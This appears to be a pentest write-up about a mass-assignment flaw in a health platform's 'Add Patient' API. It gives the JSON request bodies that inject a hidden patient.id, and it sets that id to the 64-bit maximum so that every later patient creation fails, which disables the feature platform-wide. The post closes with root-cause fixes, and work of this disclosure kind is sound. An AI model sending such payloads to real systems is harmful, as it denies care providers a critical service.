During a joint pentest with my teammate Ali Mansour, I found a bug that quietly shut down the entire "Add Patient" feature for every clinic on the platform, with a single request.
Authentication bugs get the attention, but business logic flaws can be just as devastating. Here is how a single integer became a system-wide kill switch.
#Setting the scene
A modern online health platform where doctors and caregivers chat with patients, arrange tele-visits and, most importantly, add new patients with one click. Behind that button sits a single API call.
#The one-click "Add Patient" flow
When a caregiver clicks Add Patient, the front end fires exactly one request. Focus on patientId.
POST /ppapi/caregiver/29757/request
Authorization: Bearer <JWT>
Content-Type: application/json
{
"clientDetails": {
"userId": 29757,
"patientId": 27099 // ← suspicious #1
},
"body": {
"patient": {
"firstName": "Ahmed",
"lastName": "Ramadan",
"gender": "MALE",
"birthDate": "12/12/2000",
"phone": "7894561234",
"province": "ONTARIO"
},
"relation": "SPOUSE"
}
}The response, trimmed, always echoes two matching IDs:
{
"details": {
"patientList": [{
"id": 3150,
"patientId": 9745, // FK reference
"patient": {
"id": 9745, // Patient PK
...
}
}]
}
}
Note that patientId is reflected in two places: once as patientId in the patientList, and again as id inside the patient object itself.
#Field-by-field recon
#Initial test: patientId has no effect
| Test | Payload tweak | Result |
|---|---|---|
| A | patientId++ | Server ignores the change |
| B | Remove patientId | Still succeeds |
patientId has zero influence on either ID in the response, proof that the backend decides the real value independently of user input.
So patientId is completely ignored on input. Two theories:
- Sequential ID generation. The backend always chooses the next integer, ignoring whatever the client sends.
- A mass assignment opening. The real key is hidden deeper, waiting to be injected.
#New hypothesis: smuggle an id inside patient
There is an id field under patient in the response, but the original request body has no such field. Which raises the question: what if we add it? Would the server blindly accept it as the primary key?
"body": {
"patient": {
"id": 9999, ←─ NEW FIELD!
"firstName": "Rmdn",
"lastName": "Test",
...
}
}#Step A: try an existing ID, for an unauthorised overwrite
{
"clientDetails": {
"userId": 29757,
"patientId": 27099 // will be neglected
},
"body": {
"patient": {
"Id": 9745, // already used above
"firstName": "Ahmed",
"lastName": "Ramadan",
"gender": "MALE",
"birthDate": "12/12/2000",
"phone": "7894561234",
"province": "ONTARIO"
},
"relation": "SPOUSE"
}
}Result: the request fails with a duplicate-key error. Overwriting someone else's record is blocked.
#Step B: try a brand-new ID
{
"clientDetails": {
"userId": 29757,
"patientId": 27099 // will be neglected
},
"body": {
"patient": {
"Id": 4785302, // never used before
"firstName": "Ahmed",
"lastName": "Ramadan",
"gender": "MALE",
"birthDate": "12/12/2000",
"phone": "7894561234",
"province": "ONTARIO"
},
"relation": "SPOUSE"
}
}Server response:
{
"details": {
"patientList": [{
"patientId": 4785302, // reflects our value
"patient": {
"id": 4785302, // reflects our value
...
}
}]
}
}
One injection, two reflections. That single JSON key overwrote the primary key in the Patient table and propagated everywhere. Mass assignment confirmed.
More interesting still: the next patient added started from ID 4785303, confirming the server resumed the sequence from where I left it. The field is not merely writable, it is authoritative.
#From curiosity to kill switch
#Injecting id = 1e9
I injected 1e9, one billion, into the newly discovered id parameter under patient. Unsurprisingly, the server accepted it and created a patient with that ID.

#Injecting id = 1e99, and the database tells us the range
Next I tested the limits with id = 1e99, far larger than anything that should exist in the database, to see whether the server would error or do something more interesting.

The server returned an out-of-range error stating the maximum allowed value for id was 9223372036854775807, the maximum for a signed 64-bit integer. That error disclosed the exact range of the primary key field, which made testing the boundary trivial.
#Injecting the maximum id, and controlling the sequence
I then injected the maximum value, 9223372036854775807, directly into id. The server accepted it and reflected it back as the last ID in the database.

#Nobody can add a patient after the maximum is reached
Attempting to add any new patient now returns:
{
"success": false,
"message": "io.ebean.DuplicateKeyException: Error[Duplicate entry '9223372036854775807' for key 'patients.PRIMARY']",
"userMessage": "This member is already managed by user."
}

Every new patient is now assigned the same ID as the last, so the database rejects it as a duplicate. Once the final ID in the sequence was manually injected, patient creation was broken for every caregiver on the platform.
#Recap
- The one-click "Add Patient" flow
- Field-by-field recon
- Initial test:
patientIdhas no effect - New hypothesis: smuggle an
idinsidepatient
- Initial test:
- From curiosity to kill switch
- Injecting
id = 1e9 - Injecting
id = 1e99, database error reveals the range - Injecting the maximum
id, controlling the sequence - No one can add a patient once the maximum is reached
- Injecting
#Root cause
The API bound client-supplied JSON directly onto the persistence model without an allowlist, so a field that never appears in the documented request body (patient.id) was accepted as the primary key. Two fixes are needed: bind only explicitly permitted fields, and never let a client influence a database-generated identifier.